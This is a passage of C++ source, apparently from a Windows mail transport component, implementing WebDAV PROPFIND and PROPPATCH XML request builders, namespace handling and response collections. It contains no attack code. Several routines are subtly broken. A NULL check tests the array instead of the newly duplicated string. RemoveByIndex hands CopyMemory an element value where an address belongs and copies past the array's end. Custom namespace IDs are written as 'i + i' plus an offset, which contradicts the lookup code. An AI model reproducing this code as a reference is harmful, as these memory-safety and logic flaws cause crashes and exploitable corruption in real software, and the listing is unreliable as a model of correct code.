return E_OUTOFMEMORY;
m_rgpszValues[m_ulLength] = PszDupA(psz);
if (NULL == m_rgpszValues)
return E_OUTOFMEMORY;
++m_ulLength;
return S_OK;
}
HRESULT CStringArray::Adopt(LPCSTR psz)
{
if (NULL == psz)
return E_INVALIDARG;
if (m_ulLength == m_ulCapacity && !Expand())
return E_OUTOFMEMORY;
m_rgpszValues[m_ulLength] = psz;
++m_ulLength;
return S_OK;
}
LPCSTR CStringArray::GetByIndex(ULONG ulIndex)
{
if (0 == m_ulLength || (ulIndex > m_ulLength - 1))
return NULL;
return m_rgpszValues[ulIndex];
}
// --------------------------------------------------------------------------------
// CStringArray::RemoveByIndex
// --------------------------------------------------------------------------------
HRESULT CStringArray::RemoveByIndex(ULONG ulIndex)
{
if (ulIndex > m_ulLength - 1)
return E_INVALIDARG;
if (NULL != m_rgpszValues[ulIndex])
{
MemFree(const_cast<char *>(m_rgpszValues[ulIndex]));
m_rgpszValues[ulIndex] = NULL;
}
// shift down
CopyMemory(&m_rgpszValues[ulIndex], m_rgpszValues[ulIndex + 1], (m_ulLength - ulIndex) * sizeof(LPSTR));
--m_ulLength;
return S_OK;
}
// --------------------------------------------------------------------------------
// CStringArray::Expand
// --------------------------------------------------------------------------------
BOOL CStringArray::Expand(void)
{
LPCSTR *rgpszNewValues = NULL;
if (!MemAlloc((void **)&rgpszNewValues, sizeof(LPSTR) * (m_ulCapacity + c_ulGrowSize)))
return FALSE;
// clear the new slots
ZeroMemory(rgpszNewValues,sizeof(LPSTR) * (m_ulCapacity + c_ulGrowSize));
// copy the old values over and swap in the new buffer
CopyMemory(rgpszNewValues, m_rgpszValues, sizeof(LPSTR) * m_ulCapacity);
SafeMemFree(m_rgpszValues);
m_rgpszValues = rgpszNewValues;
m_ulCapacity += c_ulGrowSize;
return TRUE;
}
// --------------------------------------------------------------------------------
// CStringHash::~CStringHash
// --------------------------------------------------------------------------------
CStringHash::~CStringHash(void)
{
PHASHENTRY phe;
// data stored in the hash table
// are strings that can need to
// be deallocated.
for (DWORD dw = 0; dw < m_cBins; dw++)
{
SafeMemFree(m_rgBins[dw].pv);
phe = m_rgBins[dw].pheNext;
while (phe)
{
SafeMemFree(phe->pv);
phe = phe->pheNext;
}
}
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::CDAVNamespaceArbiterImp
// --------------------------------------------------------------------------------
CDAVNamespaceArbiterImp::CDAVNamespaceArbiterImp(void)
{
for (ULONG i = 0; i <= c_dwMaxNamespaceID; ++i)
m_rgbNsUsed[i] = FALSE;
// the DAV namespace is always included
m_rgbNsUsed[DAVNAMESPACE_DAV] = TRUE;
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::~CDAVNamespaceArbiterImp
// --------------------------------------------------------------------------------
CDAVNamespaceArbiterImp::~CDAVNamespaceArbiterImp(void)
{
// nothing to do
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::AddNamespace
// --------------------------------------------------------------------------------
HRESULT CDAVNamespaceArbiterImp::AddNamespace(LPCSTR pszNamespace, DWORD *pdwNamespaceID)
{
HRESULT hr = S_OK;
if (NULL == pszNamespace || NULL == pdwNamespaceID)
{
hr = E_INVALIDARG;
goto exit;
}
if (FAILED(hr = m_saNamespaces.Add(pszNamespace)))
goto exit;
*pdwNamespaceID = m_saNamespaces.Length() + c_dwMaxNamespaceID;
exit:
return hr;
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::GetNamespaceID
// --------------------------------------------------------------------------------
HRESULT CDAVNamespaceArbiterImp::GetNamespaceID(LPCSTR pszNamespace, DWORD *pdwNamespaceID)
{
DWORD dwIndex;
DWORD dwEntries;
if (NULL == pszNamespace || NULL == pdwNamespaceID)
return E_INVALIDARG;
// look for a predefined namespace
for (dwIndex = 0; dwIndex < c_dwMaxNamespaceID; ++dwIndex)
{
if (!lstrcmp(pszNamespace, g_rgszNamespaces[dwIndex]))
{
*pdwNamespaceID = dwIndex;
return S_OK;
}
}
// look for a user-defined prefix
dwEntries = m_saNamespaces.Length();
for (dwIndex = 0; dwIndex < dwEntries; ++dwIndex)
{
if (!lstrcmp(pszNamespace, m_saNamespaces.GetByIndex(dwIndex)))
{
*pdwNamespaceID = (dwIndex + (c_dwMaxNamespaceID + 1));
return S_OK;
}
}
// if it wasn't found, the namespace doesn't exist
return E_INVALIDARG;
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::GetNamespacePrefix
// --------------------------------------------------------------------------------
HRESULT CDAVNamespaceArbiterImp::GetNamespacePrefix(DWORD dwNamespaceID, LPSTR *ppszNamespacePrefix)
{
HRESULT hr = S_OK;
LPSTR pszTemp = NULL;
if (NULL == ppszNamespacePrefix)
return E_INVALIDARG;
if (dwNamespaceID <= c_dwMaxDefinedNamespacePrefix)
*ppszNamespacePrefix = PszDupA(g_rgszNamespacePrefixes[dwNamespaceID]);
else
{
char szBuffer[12];
wnsprintf(szBuffer, ARRAYSIZE(szBuffer), "_%d", dwNamespaceID);
*ppszNamespacePrefix = PszDupA(szBuffer);
}
if (NULL == *ppszNamespacePrefix)
hr = E_OUTOFMEMORY;
return hr;
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::AllocExpandedName
// --------------------------------------------------------------------------------
LPSTR CDAVNamespaceArbiterImp::AllocExpandedName(DWORD dwNamespaceID, LPCSTR pszPropertyName)
{
LPSTR pszPrefixedName = NULL;
const DWORD c_dwMaxIntLength = 10;
if (dwNamespaceID < c_dwMaxDefinedNamespacePrefix)
{
// allocate a buffer to hold the prefixed name.
DWORD cchSize = (lstrlen(pszPropertyName) + lstrlen(g_rgszNamespacePrefixes[dwNamespaceID]) + 2);
if (!MemAlloc((void **)&pszPrefixedName, cchSize * sizeof(pszPrefixedName[0])))
return NULL;
// generate the prefixed name
wnsprintf(pszPrefixedName, cchSize, "%s:%s", g_rgszNamespacePrefixes[dwNamespaceID], pszPropertyName);
}
else
{
// allocate a buffer to hold the prefixed name. the "2" is for the prefix char '_" , the delimiting
// colon and the eos.
DWORD cchSize = (lstrlen(pszPropertyName) + c_dwMaxIntLength + 3);
if (!MemAlloc((void **)&pszPrefixedName, cchSize * sizeof(pszPrefixedName[0])))
return NULL;
// generate the prefixed name. use an underscore as the first char, because
// DAV explicitly disallows digits for the first char.
wnsprintf(pszPrefixedName, cchSize, "_%d:%s", dwNamespaceID, pszPropertyName);
}
return pszPrefixedName;
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::WriteNamespaces
// --------------------------------------------------------------------------------
HRESULT CDAVNamespaceArbiterImp::WriteNamespaces(IStream *pStream)
{
HRESULT hr = S_OK;
ULONG i;
ULONG cEntries;
BOOL fNeedSpacePrefix = FALSE;
// write out the intrinsic namespaces
for (i = 0; i <= c_dwMaxNamespaceID; ++i)
{
if (m_rgbNsUsed[i])
{
if (FAILED(hr = _AppendXMLNamespace(pStream, g_rgszNamespaces[i], i, fNeedSpacePrefix)))
goto exit;
fNeedSpacePrefix = TRUE;
}
}
// write out the installed namespaces
cEntries = m_saNamespaces.Length();
for (i = 0; i < cEntries; ++i)
{
if (FAILED(hr = _AppendXMLNamespace(pStream, m_saNamespaces.GetByIndex(i), i + i + c_dwMaxNamespaceID + 1, fNeedSpacePrefix)))
goto exit;
fNeedSpacePrefix = TRUE;
}
exit:
return hr;
}
// --------------------------------------------------------------------------------
// CDAVNamespaceArbiterImp::_AppendXMLNamespace
// --------------------------------------------------------------------------------
HRESULT CDAVNamespaceArbiterImp::_AppendXMLNamespace(IStream *pStream,
LPCSTR pszNamespace,
DWORD dwNamespaceID,
BOOL fWhitespacePrefix)
{
HRESULT hr = S_OK;
TCHAR szPrefix[12];
if (fWhitespacePrefix)
{
IxpAssert(1 == lstrlen(c_szEqual));
if (FAILED(hr = pStream->Write(g_szSpace, 1, NULL)))
goto exit;
}
if (FAILED(hr = pStream->Write(c_szXMLNsColon, lstrlen(c_szXMLNsColon), NULL)))
goto exit;
if (dwNamespaceID < c_dwMaxDefinedNamespacePrefix)
{
if (FAILED(hr = pStream->Write(g_rgszNamespacePrefixes[dwNamespaceID], lstrlen(g_rgszNamespacePrefixes[dwNamespaceID]), NULL)))
goto exit;
}
else
{
wnsprintf(szPrefix, ARRAYSIZE(szPrefix), "_%d", dwNamespaceID);
if (FAILED(hr = pStream->Write(szPrefix, lstrlen(szPrefix), NULL)))
goto exit;
}
IxpAssert(1 == lstrlen(c_szEqual));
IxpAssert(1 == lstrlen(c_szDoubleQuote));
if (FAILED(hr = pStream->Write(c_szEqual, 1, NULL)))
goto exit;
if (FAILED(hr = pStream->Write(c_szDoubleQuote, 1, NULL)))
goto exit;
if (FAILED(hr = pStream->Write(pszNamespace, lstrlen(pszNamespace), NULL)))
goto exit;
hr = pStream->Write(c_szDoubleQuote, 1, NULL);
exit:
return hr;
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::CPropPatchRequest
// --------------------------------------------------------------------------------
CPropPatchRequest::CPropPatchRequest(void) :
m_fSpecify1252(FALSE),
m_cRef(1)
{
// nothing to do
}
// --------------------------------------------------------------------------------
// IUnknown Methods
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropPatchRequest::QueryInterface
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::QueryInterface(REFIID riid, LPVOID *ppv)
{
// Locals
HRESULT hr = S_OK;
// Validate params
if (NULL == ppv)
{
hr = TrapError(E_INVALIDARG);
goto exit;
}
// Initialize params
*ppv = NULL;
// IID_IUnknown
if (IID_IUnknown == riid)
*ppv = ((IUnknown *)(IPropFindRequest *)this);
else if (IID_IPropPatchRequest == riid)
*ppv = ((IPropPatchRequest *)this);
if (NULL != *ppv)
{
((LPUNKNOWN)*ppv)->AddRef();
goto exit;
}
hr = TrapError(E_NOINTERFACE);
exit:
// Done
return hr;
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::AddRef
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropPatchRequest::AddRef(void)
{
return ++m_cRef;
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::Release
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropPatchRequest::Release(void)
{
if (0 != --m_cRef)
return m_cRef;
delete this;
return 0;
}
// ----------------------------------------------------------------------------
// IDAVNamespaceArbiter methods
// ----------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropPatchRequest::CPropPatchRequest::AddNamespace
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::AddNamespace(LPCSTR pszNamespace, DWORD *pdwNamespaceID)
{
return m_dna.AddNamespace(pszNamespace, pdwNamespaceID);
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::GetNamespaceID
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::GetNamespaceID(LPCSTR pszNamespace, DWORD *pdwNamespaceID)
{
return m_dna.GetNamespaceID(pszNamespace, pdwNamespaceID);
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::GetNamespacePrefix
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::GetNamespacePrefix(DWORD dwNamespaceID, LPSTR *ppszNamespacePrefix)
{
return m_dna.GetNamespacePrefix(dwNamespaceID, ppszNamespacePrefix);
}
// --------------------------------------------------------------------------------
// IPropPatchRequest Methods
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropPatchRequest::SetProperty
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::SetProperty(
DWORD dwNamespaceID,
LPCSTR pszPropertyName,
LPCSTR pszNewValue)
{
LPSTR pszPrefixedName = NULL;
HRESULT hr = S_OK;
// Validate params
if (NULL == pszPropertyName || NULL == pszNewValue || dwNamespaceID > c_dwMaxNamespaceID + m_dna.m_saNamespaces.Length())
{
hr = E_INVALIDARG;
goto exit;
}
pszPrefixedName = m_dna.AllocExpandedName(dwNamespaceID, pszPropertyName);
if (NULL == pszPrefixedName)
{
hr = E_OUTOFMEMORY;
goto exit;
}
// if the namespace is one of the known namespaces, mark it in
// the array so that we can include the namespace directive in
// the generated xml
if (dwNamespaceID <= c_dwMaxNamespaceID)
m_dna.m_rgbNsUsed[dwNamespaceID] = TRUE;
if (FAILED(hr = m_saPropValues.Add(pszNewValue)))
goto exit;
if (FAILED(hr = m_saPropNames.Adopt(pszPrefixedName)))
{
MemFree(pszPrefixedName);
m_saPropValues.RemoveByIndex(m_saPropValues.Length() - 1);
}
exit:
return hr;
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::RemoveProperty
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::RemoveProperty(
DWORD dwNamespaceID,
LPCSTR pszPropertyName)
{
LPSTR pszPrefixedName = NULL;
HRESULT hr = S_OK;
if (NULL == pszPropertyName || dwNamespaceID > c_dwMaxNamespaceID + m_dna.m_saNamespaces.Length())
{
hr = E_INVALIDARG;
goto exit;
}
pszPrefixedName = m_dna.AllocExpandedName(dwNamespaceID, pszPropertyName);
if (NULL == pszPrefixedName)
{
hr = E_OUTOFMEMORY;
goto exit;
}
// if the namespace is one of the known namespaces, mark it in
// the array so that we can include the namespace directive in the
// generated xml
if (dwNamespaceID <= c_dwMaxNamespaceID)
m_dna.m_rgbNsUsed[dwNamespaceID] = TRUE;
hr = m_saRemovePropNames.Adopt(pszPrefixedName);
exit:
return hr;
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::GenerateXML
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::GenerateXML(LPSTR *ppszXML)
{
return GenerateXML(NULL, ppszXML);
}
// --------------------------------------------------------------------------------
// CPropPatchRequest::GenerateXML
// --------------------------------------------------------------------------------
STDMETHODIMP CPropPatchRequest::GenerateXML(LPHTTPTARGETLIST pTargets, LPSTR *ppszXML)
{
const DWORD c_dwLocalBufferSize = 256;
HRESULT hr = S_OK;
CByteStream stream;
ULONG cEntries;
LPCSTR pszName = NULL;
LPCSTR pszValue = NULL;
ULONG i;
DWORD dwIndex;
DWORD cbStr1, cbStr2;
if (NULL == ppszXML)
return E_INVALIDARG;
*ppszXML= NULL;
// write the DAV header
if (m_fSpecify1252)
FAIL_EXIT_STREAM_WRITE(stream, c_szXML1252Head);
else
FAIL_EXIT_STREAM_WRITE(stream, c_szXMLHead);
// write out the proppatch header
FAIL_EXIT_STREAM_WRITE(stream, c_szPropPatchHead);
// write out namespace directives using the new form
FAIL_EXIT(hr = m_dna.WriteNamespaces(&stream));
FAIL_EXIT_STREAM_WRITE(stream, c_szXMLCloseElement);
// write out the targets
if (NULL != pTargets && pTargets->cTarget > 0)
{
cbStr1 = lstrlen(c_szHrefHead);
cbStr2 = lstrlen(c_szHrefTail);
FAIL_EXIT_STREAM_WRITE(stream, c_szTargetHead);
// write out the targets
for (dwIndex = 0; dwIndex < pTargets->cTarget; dwIndex++)
{
FAIL_EXIT(hr = stream.Write(c_szHrefHead, cbStr1, NULL));
FAIL_EXIT_STREAM_WRITE(stream, pTargets->prgTarget[dwIndex]);
FAIL_EXIT(hr = stream.Write(c_szHrefTail, cbStr2, NULL));
}
FAIL_EXIT_STREAM_WRITE(stream, c_szTargetTail);
}
// write out the "set" properties
cEntries = m_saPropNames.Length();
if (cEntries > 0)
{
// write the set header
FAIL_EXIT_STREAM_WRITE(stream, c_szPropPatchSetHead);
for (i = 0; i < cEntries; ++i)
{
FAIL_EXIT_STREAM_WRITE(stream, c_szCRLFTabTabTabOpenElement);
pszName = m_saPropNames.GetByIndex(i);
if (NULL == pszName)
{
hr = E_OUTOFMEMORY;
goto exit;
}
FAIL_EXIT_STREAM_WRITE(stream, pszName);
FAIL_EXIT_STREAM_WRITE(stream, c_szXMLCloseElement);
pszValue = m_saPropValues.GetByIndex(i);
if (NULL == pszValue)
{
hr = E_OUTOFMEMORY;
goto exit;
}
FAIL_EXIT_STREAM_WRITE(stream, pszValue);
FAIL_EXIT_STREAM_WRITE(stream, c_szXMLOpenTermElement);
FAIL_EXIT_STREAM_WRITE(stream, pszName);
FAIL_EXIT_STREAM_WRITE(stream, c_szXMLCloseElement);
}
FAIL_EXIT_STREAM_WRITE(stream, c_szPropPatchSetTail);
}
// write out the remove properties
cEntries = m_saRemovePropNames.Length();
if (cEntries > 0)
{
// write the remove header
FAIL_EXIT_STREAM_WRITE(stream, c_szPropPatchRemoveHead);
for (i = 0; i < cEntries; ++i)
{
FAIL_EXIT_STREAM_WRITE(stream, c_szCRLFTabTabTabOpenElement);
pszName = m_saRemovePropNames.GetByIndex(i);
if (NULL == pszName)
{
hr = E_OUTOFMEMORY;
goto exit;
}
FAIL_EXIT_STREAM_WRITE(stream, pszName);
FAIL_EXIT_STREAM_WRITE(stream, c_szXMLCloseTermElement);
}
FAIL_EXIT_STREAM_WRITE(stream, c_szPropPatchRemoveTail);
}
FAIL_EXIT_STREAM_WRITE(stream, c_szPropPatchTailCRLF);
hr = stream.HrAcquireStringA(NULL, ppszXML, ACQ_DISPLACE);
exit:
return hr;
}
// --------------------------------------------------------------------------------
// CPropFindRequest::CPropFindRequest
// --------------------------------------------------------------------------------
CPropFindRequest::CPropFindRequest(void) :
m_cRef(1)
{
}
// --------------------------------------------------------------------------------
// IUnknown Methods
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropFindRequest::QueryInterface
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindRequest::QueryInterface(REFIID riid, LPVOID *ppv)
{
// Locals
HRESULT hr = S_OK;
// Validate params
if (NULL == ppv)
{
hr = TrapError(E_INVALIDARG);
goto exit;
}
// Initialize params
*ppv = NULL;
// IID_IUnknown
if (IID_IUnknown == riid)
*ppv = ((IUnknown *)(IPropFindRequest *)this);
else if (IID_IPropFindRequest == riid)
*ppv = ((IPropFindRequest *)this);
if (NULL != *ppv)
{
((LPUNKNOWN)*ppv)->AddRef();
goto exit;
}
hr = TrapError(E_NOINTERFACE);
exit:
// Done
return hr;
}
// --------------------------------------------------------------------------------
// CPropFindRequest::AddRef
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropFindRequest::AddRef(void)
{
return ++m_cRef;
}
// --------------------------------------------------------------------------------
// CPropFindRequest::Release
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropFindRequest::Release(void)
{
if (0 != --m_cRef)
return m_cRef;
delete this;
return 0;
}
// ----------------------------------------------------------------------------
// IDAVNamespaceArbiter methods
// ----------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropFindRequest::CPropPatchRequest::AddNamespace
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindRequest::AddNamespace(LPCSTR pszNamespace, DWORD *pdwNamespaceID)
{
return m_dna.AddNamespace(pszNamespace, pdwNamespaceID);
}
// --------------------------------------------------------------------------------
// CPropFindRequest::GetNamespaceID
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindRequest::GetNamespaceID(LPCSTR pszNamespace, DWORD *pdwNamespaceID)
{
return m_dna.GetNamespaceID(pszNamespace, pdwNamespaceID);
}
// --------------------------------------------------------------------------------
// CPropFindRequest::GetNamespacePrefix
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindRequest::GetNamespacePrefix(DWORD dwNamespaceID, LPSTR *ppszNamespacePrefix)
{
return m_dna.GetNamespacePrefix(dwNamespaceID, ppszNamespacePrefix);
}
// --------------------------------------------------------------------------------
// IPropFindRequest Methods
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropFindRequest::AddProperty
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindRequest::AddProperty(DWORD dwNamespaceID, LPCSTR pszPropertyName)
{
const DWORD c_dwMaxIntLength = 10;
LPSTR pszPrefixedName = NULL;
// Validate Params
if (NULL == pszPropertyName || dwNamespaceID > c_dwMaxNamespaceID + m_dna.m_saNamespaces.Length())
return E_INVALIDARG;
pszPrefixedName = m_dna.AllocExpandedName(dwNamespaceID, pszPropertyName);
if (NULL == pszPrefixedName)
return E_OUTOFMEMORY;
// if the namespace is one of the known namespaces, mark
// the array so that we can include the namespace directive
// in the generated xml.
if (dwNamespaceID <= c_dwMaxNamespaceID)
m_dna.m_rgbNsUsed[dwNamespaceID] = TRUE;
m_saProperties.Adopt(pszPrefixedName);
return S_OK;
}
// --------------------------------------------------------------------------------
// CPropFindRequest::GenerateXML
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindRequest::GenerateXML(LPSTR *ppszXML)
{
const DWORD c_dwLocalBufferSize = 256;
HRESULT hr = S_OK;
CByteStream stream;
ULONG cbLength = 0;
ULONG cEntries;
ULONG i;
LPCSTR pszProperty;
if (NULL == ppszXML)
return E_INVALIDARG;
*ppszXML = NULL;
// write the DAV header
if (FAILED(hr = stream.Write(c_szXMLHead, lstrlen(c_szXMLHead), NULL)))
goto exit;
// write out the propfind header
if (FAILED(hr = stream.Write(c_szPropFindHead1, lstrlen(c_szPropFindHead1), NULL)))
goto exit;
// write out namespaces using the new form
if (FAILED(hr = m_dna.WriteNamespaces(&stream)))
goto exit;
if (FAILED(hr = stream.Write(c_szPropFindHead2, lstrlen(c_szPropFindHead2), NULL)))
goto exit;
// write out the properties
cEntries = m_saProperties.Length();
for (i = 0; i < cEntries; ++i)
{
if (FAILED(hr = stream.Write(c_szCRLFTabTabOpenElement, lstrlen(c_szCRLFTabTabOpenElement), NULL)))
goto exit;
// properties are prefixed when they are added to the collection
pszProperty = m_saProperties.GetByIndex(i);
if (!pszProperty)
{
hr = E_OUTOFMEMORY;
goto exit;
}
if (FAILED(hr = stream.Write(pszProperty, lstrlen(pszProperty), NULL)))
goto exit;
if (FAILED(hr = stream.Write(c_szXMLCloseTermElement, lstrlen(c_szXMLCloseTermElement), NULL)))
goto exit;
}
if (FAILED(hr = stream.Write(c_szPropFindTail, lstrlen(c_szPropFindTail), NULL)))
goto exit;
hr = stream.HrAcquireStringA(NULL, ppszXML, ACQ_DISPLACE);
exit:
return hr;
}
// --------------------------------------------------------------------------------
// class CPropFindMultiResponse
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::CPropFindMultiResponse
// --------------------------------------------------------------------------------
CPropFindMultiResponse::CPropFindMultiResponse(void) :
m_cRef(1),
m_bDone(FALSE),
m_ulResponseCapacity(0),
m_ulResponseLength(0),
m_rgResponses(NULL)
{
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::~CPropFindMultiResponse
// --------------------------------------------------------------------------------
CPropFindMultiResponse::~CPropFindMultiResponse(void)
{
for (ULONG i = 0; i < m_ulResponseLength; i++)
SafeRelease(m_rgResponses[i]);
SafeMemFree(m_rgResponses);
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::QueryInterface
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindMultiResponse::QueryInterface(REFIID riid, LPVOID *ppv)
{
// Locals
HRESULT hr = S_OK;
// Validate params
if (NULL == ppv)
{
hr = TrapError(E_INVALIDARG);
goto exit;
}
// Initialize params
*ppv = NULL;
// IID_IUnknown
if (IID_IUnknown == riid)
*ppv = ((IUnknown *)(IPropFindRequest *)this);
else if (IID_IPropFindMultiResponse == riid)
*ppv = ((IPropFindMultiResponse *)this);
if (NULL != *ppv)
{
((LPUNKNOWN)*ppv)->AddRef();
goto exit;
}
hr = TrapError(E_NOINTERFACE);
exit:
// Done
return hr;
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::AddRef
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropFindMultiResponse::AddRef(void)
{
return ++m_cRef;
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::Release
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropFindMultiResponse::Release(void)
{
if (0 != --m_cRef)
return m_cRef;
delete this;
return 0;
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::IsComplete
// --------------------------------------------------------------------------------
STDMETHODIMP_(BOOL) CPropFindMultiResponse::IsComplete(void)
{
return m_bDone;
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::GetLength
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindMultiResponse::GetLength(ULONG *pulLength)
{
if (NULL == pulLength)
return E_INVALIDARG;
*pulLength = m_ulResponseLength;
return S_OK;
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::GetResponse
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindMultiResponse::GetResponse(ULONG ulIndex,
IPropFindResponse **ppResponse)
{
if (ulIndex >= m_ulResponseLength || !ppResponse)
return E_INVALIDARG;
*ppResponse = m_rgResponses[ulIndex];
(*ppResponse)->AddRef();
return S_OK;
}
// --------------------------------------------------------------------------------
// CPropFindMultiResponse::HrAddResponse
// --------------------------------------------------------------------------------
HRESULT CPropFindMultiResponse::HrAddResponse(IPropFindResponse *pResponse)
{
const ULONG c_dwInitialCapacity = 4;
HRESULT hr = S_OK;
IPropFindResponse **ppNewResponses = NULL;
DWORD dwNewCapacity;
if (!pResponse)
return E_INVALIDARG;
if (m_ulResponseLength == m_ulResponseCapacity)
{
dwNewCapacity = !m_ulResponseCapacity ? c_dwInitialCapacity : (m_ulResponseCapacity * 2);
if (!MemAlloc((void **)&ppNewResponses, dwNewCapacity * sizeof(IPropFindResponse *)))
{
hr = E_OUTOFMEMORY;
goto exit;
}
ZeroMemory(ppNewResponses, dwNewCapacity * sizeof(IPropFindResponse *));
// copy the old values over
if (m_ulResponseCapacity)
CopyMemory(ppNewResponses, m_rgResponses, min(dwNewCapacity, m_ulResponseCapacity) * sizeof(IPropFindResponse *));
// free the old buffer
SafeMemFree(m_rgResponses);
m_rgResponses = ppNewResponses;
m_ulResponseCapacity = dwNewCapacity;
}
m_rgResponses[m_ulResponseLength++] = pResponse;
pResponse->AddRef();
exit:
return hr;
}
// --------------------------------------------------------------------------------
// Class CPropFindResponse
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// CPropFindResponse::CPropFindResponse
// --------------------------------------------------------------------------------
CPropFindResponse::CPropFindResponse(void) :
m_cRef(1),
m_bDone(FALSE),
m_pszHref(NULL),
m_pRequest(NULL),
m_shProperties(),
m_dwCachedNamespaceID(0),
m_pszCachedNamespacePrefix(NULL)
{
}
// --------------------------------------------------------------------------------
// CPropFindResponse::~CPropFindResponse
// --------------------------------------------------------------------------------
CPropFindResponse::~CPropFindResponse(void)
{
if (NULL != m_pszHref)
MemFree(const_cast<char*>(m_pszHref));
SafeRelease(m_pRequest);
SafeMemFree(m_pszCachedNamespacePrefix);
}
// --------------------------------------------------------------------------------
// CPropFindResponse::QueryInterface
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindResponse::QueryInterface(REFIID riid, LPVOID *ppv)
{
// Locals
HRESULT hr = S_OK;
// Validate params
if (NULL == ppv)
{
hr = TrapError(E_INVALIDARG);
goto exit;
}
// Initialize params
*ppv = NULL;
// IID_IUnknown
if (IID_IUnknown == riid)
*ppv = ((IUnknown *)(IPropFindResponse *)this);
else if (IID_IPropFindResponse == riid)
*ppv = ((IPropFindResponse *)this);
if (NULL != *ppv)
{
((LPUNKNOWN)*ppv)->AddRef();
goto exit;
}
hr = TrapError(E_NOINTERFACE);
exit:
// Done
return hr;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::AddRef
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropFindResponse::AddRef(void)
{
return ++m_cRef;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::Release
// --------------------------------------------------------------------------------
STDMETHODIMP_(ULONG) CPropFindResponse::Release(void)
{
if (0 != --m_cRef)
return m_cRef;
delete this;
return 0;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::IsComplete
// --------------------------------------------------------------------------------
STDMETHODIMP_(BOOL) CPropFindResponse::IsComplete(void)
{
return m_bDone;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::GetHref
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindResponse::GetHref(LPSTR *pszHref)
{
if (NULL == pszHref)
return E_INVALIDARG;
*pszHref = NULL;
if (NULL == m_pszHref)
return E_FAIL;
*pszHref = PszDupA(m_pszHref);
if (!*pszHref)
return E_OUTOFMEMORY;
return S_OK;
}
// --------------------------------------------------------------------------------
// CPropFindResponse::GetProperty
// --------------------------------------------------------------------------------
STDMETHODIMP CPropFindResponse::GetProperty(
DWORD dwNamespaceID,
LPSTR pszPropertyName,
LPSTR *ppszPropertyValue)
{
char szLocalPropBuffer[256];
LPSTR pszPropBuffer = NULL;
BOOL bFreePropBuffer = FALSE;
LPSTR pszPrefix = NULL;
HRESULT hr = S_OK;
ULONG ulPrefixLength;
ULONG ulPropertyLength;
LPSTR pszFoundValue = NULL;
if (!pszPropertyName)
return E_INVALIDARG;
*ppszPropertyValue = NULL;
// first convert the namespace id into a prefix.
// to facilitate fast lookups, we cache the most recently
// seen custom namespace
if (dwNamespaceID < c_dwMaxDefinedNamespacePrefix)
pszPrefix = const_cast<char *>(g_rgszNamespacePrefixes[dwNamespaceID]);
else if (dwNamespaceID == m_dwCachedNamespaceID)
pszPrefix = m_pszCachedNamespacePrefix;
else if (m_pRequest)
{
if (FAILED(hr = m_pRequest->GetNamespacePrefix(dwNamespaceID, &pszPrefix)))
goto exit;
// free the one-deep cache and store the new
// prefix and ID.
SafeMemFree(m_pszCachedNamespacePrefix);
m_dwCachedNamespaceID = dwNamespaceID;
m_pszCachedNamespacePrefix = pszPrefix;
}
ulPrefixLength = lstrlen(pszPrefix);
ulPropertyLength = lstrlen(pszPropertyName);
DWORD cchSize = ARRAYSIZE(szLocalPropBuffer);
if ((ulPrefixLength + ulPropertyLength + (2 * sizeof(TCHAR))) < 256)
{
// the combined length is small enough to use
// the stack-based buffer
